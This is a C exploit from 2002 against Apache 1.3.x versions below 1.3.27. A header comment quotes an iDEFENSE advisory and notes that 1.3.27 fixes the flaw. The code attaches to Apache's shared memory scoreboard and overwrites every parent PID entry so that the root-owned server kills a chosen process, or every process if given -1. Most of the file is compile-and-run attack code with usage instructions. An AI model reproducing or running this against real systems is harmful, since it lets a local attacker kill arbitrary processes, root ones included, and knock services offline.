/* 
apache 1.3.x (x<27) scoreboard shared memory exploit 
write by alert7 < alert7@xfocus.org > 
homepage http://www.xfocus.net 
http://www.whitecell.org/ 

gcc -o apache_scoreboard_exploit apache_scoreboard_exploit.c 

usage: ./apache_scoreboard_exploit pid [apache uid] 
default use getuid to get apache_uid 
if pid = -1 ,kill all processes in system 
to kill pid process include root process 

[root@redhat73 alert7]# ./apache_openssl_exploit 10 127.0.0.1 
Linux redhat73 2.4.18-3 #1 Thu Apr 18 07:37:53 EDT 2002 i686 unknown 
uid=48(apache) gid=48(apache) groups=48(apache) 

./apache_scoreboard_exploit 12097 <---input command 

process 12097 will be killed 

2002-10-10 

------------------------------------------------------------------------------ 
COMMAND 

Apache permits process shutdown with scripting via shared memory 
scoreboard 

SYSTEMS AFFECTED 

Apache 1.3.x (x<27) 

PROBLEM 

Thanks to zen-parse [zen-parse@gmx.net] who disclosed this issue to 
iDEFENSE, David Endler [dendler@idefense.com] [http://www.idefense.com] 
posted : 

Apache HTTP Server contains a vulnerability in its shared memory 
scoreboard. Attackers who can execute commands under the Apache UID can 
either send a (SIGUSR1) signal to any process as root, in most cases 
killing the process, or launch a local denial of service (DoS) attack. 

Exploitation requires execute permission under the Apache UID. This can 
be obtained by any local user with a legitimate Apache scripting 
resource (ie: PHP, Perl), exploiting a vulnerability in web-based 
applications written in the above example languages, or through the use 
of some other local/remote Apache exploit. 

Once such a status is attained, the attacker can then attach to the 
httpd daemon's 'scoreboard', which is stored in a shared memory segment 
owned by Apache. The attacker can then cause a DoS condition on the 
system by continuously filling the table with null values and causing 
the server to spawn new children. 

The attacker also has the ability to send any process a SIGUSR1 signal 
as root. This is accomplished by continuously overwriting the 
parent[].pid and parent[].last_rtime segments within the scoreboard to 
the pid of the target process and a time in the past. When the target 
pid receives the signal SIGUSR1, it will react according to how it is 
designed to manage the signal. According to the man page (man 7 
signal), if the signal is un-handled then the default action is to 
terminate: 

... 
SIGUSR1 30,10,16 A User-defined signal 1 
... 
The letters in the "Action" column have the following meanings: 

A Default action is to terminate the process. 
... 

iDEFENSE successfully terminated arbitrary processes, including those 
that "kicked" people off the system. 

SOLUTION 

Apache HTTP Server 1.3.27 fixes this problem. It should be available on 
October 3 at : 

http://www.apache.org/dist/httpd/ 
-------------------------------------------------------------------------------- 

*/ 

#include <stdio.h> 
#include <sys/mman.h> 
#include <unistd.h> 
#include <sys/mman.h> 
#include <sys/time.h> 
#include <sys/times.h> 
#include <sys/types.h> 
#include <sys/ipc.h> 
#include <sys/shm.h> 
#include <sys/stat.h> 
#include <fcntl.h> 
#include <errno.h> 

#define OPTIMIZE_TIMEOUTS 

#ifdef WIN32 
#define HARD_SERVER_LIMIT 1024 
#elif defined(NETWARE) 
#define HARD_SERVER_LIMIT 2048 
#else 
#define HARD_SERVER_LIMIT 256 
#endif 


//typedef char * caddr_t; 
typedef unsigned vtime_t; 
typedef int ap_generation_t; 
typedef char server_rec; 

/* stuff which the children generally write, and the parent mainly reads */ 
typedef struct { 
#ifdef OPTIMIZE_TIMEOUTS 
vtime_t cur_vtime; /* the child's current vtime */ 
unsigned short timeout_len; /* length of the timeout */ 
#endif 
unsigned char status; 
unsigned long access_count; 
unsigned long bytes_served; 
unsigned long my_access_count; 
unsigned long my_bytes_served; 
unsigned long conn_bytes; 
unsigned short conn_count; 
#if defined(NO_GETTIMEOFDAY) 
clock_t start_time; 
clock_t stop_time; 
#else 
struct timeval start_time; 
struct timeval stop_time; 
#endif 
#ifndef NO_TIMES 
struct tms times; 
#endif 
#ifndef OPTIMIZE_TIMEOUTS 
time_t last_used; 
#endif 
char client[32]; /* Keep 'em small... */ 
char request[64]; /* We just want an idea... */ 
server_rec *vhostrec; /* What virtual host is being accessed? */ 
/* SEE ABOVE FOR SAFE USAGE! */ 
} short_score; 

typedef struct { 
ap_generation_t running_generation; /* the generation of children which 
* should still be serving requests. */ 
} global_score; 

/* stuff which the parent generally writes and the children rarely read */ 
typedef struct { 
pid_t pid; 
#ifdef OPTIMIZE_TIMEOUTS 
time_t last_rtime; /* time(0) of the last change */ 
vtime_t last_vtime; /* the last vtime the parent has seen */ 
#endif 
ap_generation_t generation; /* generation of this child */ 
} parent_score; 

typedef struct { 
short_score servers[HARD_SERVER_LIMIT]; 
parent_score parent[HARD_SERVER_LIMIT]; 
global_score global; 
} scoreboard; 

#define SCOREBOARD_SIZE sizeof(scoreboard) 

void usage(void) 
{ 
printf("apache 1.3.x (x<27) scoreboard shared memory exploit\n" 
"write by alert7 < alert7@xfocus.org >\n" 
"homepage http://www.xfocus.net http://www.whitecell.org/\n\n" 
"usage: ./apache_scoreboard_exploit pid [apache uid]\n" 
"default use getuid to get apache_uid\n" 
"if pid = -1 ,kill all processes in system\n" 
"to kill pid process include root process\n\n"); 
printf( 
" [root@redhat73 alert7]# ./apache_openssl_exploit 10 127.0.0.1 
Linux redhat73 2.4.18-3 #1 Thu Apr 18 07:37:53 EDT 2002 i686 unknown 
uid=48(apache) gid=48(apache) groups=48(apache) 

./apache_scoreboard_exploit 12097 <---input command 

process 12097 will be killed 

"); 

} 

extern int errno; 

int main(int argc, char *argv[]) 
{ 
char * m; 
int i; 
scoreboard *ap_scoreboard_image; 
time_t now = time(NULL); 
key_t shmkey = IPC_PRIVATE; 
int shmid = -1; 
struct shmid_ds shm_buf; 
int apachid=getuid(); 

if ((argc !=2)&&(argc !=3 ) ) 
{ 
usage(); 
exit(0); 
} 

if (argc ==3) 
{ 
apachid=atoi(argv[2]); 
} 

for (i=0;i<100 ;i++ ) 
{ 
shmid = shmctl(i, 0x10d /* SHM_??? */, &shm_buf); 
//printf("%d %d\n",shmid,shm_buf.shm_perm.uid); 
if (shmid == -1) 
{ 
printf("Not found apache shared memory\n"); 
exit(0); 
} 

if (shm_buf.shm_perm.uid==apachid) 
{ 
if (shm_buf.shm_nattch > 4) break; 
} 
} 


m = shmat(shmid,NULL,0); 

if (m == -1) 
{ 
perror("shmat"); 
exit(-1); 
} 
// printf("share mem scoreboard addr :%p\n",m); 
printf("apache 1.3.x (x<27) scoreboard shared memory exploit\n" 
"write by alert7 < alert7@xfocus.org >\n" 
"homepage http://www.xfocus.net http://www.whitecell.org/\n\n" 
); 
ap_scoreboard_image = (scoreboard *) m; 
for (i=0;i<HARD_SERVER_LIMIT ;i++ ) 
{ 
ap_scoreboard_image->parent[i].pid = atoi(argv[1]); 
ap_scoreboard_image->parent[i].last_rtime = now-3*60*60;//?????? 
ap_scoreboard_image->servers[i].status = 2; 

} 

printf("process %s will be killed\n\n",argv[1]); 
return 0; 
} 

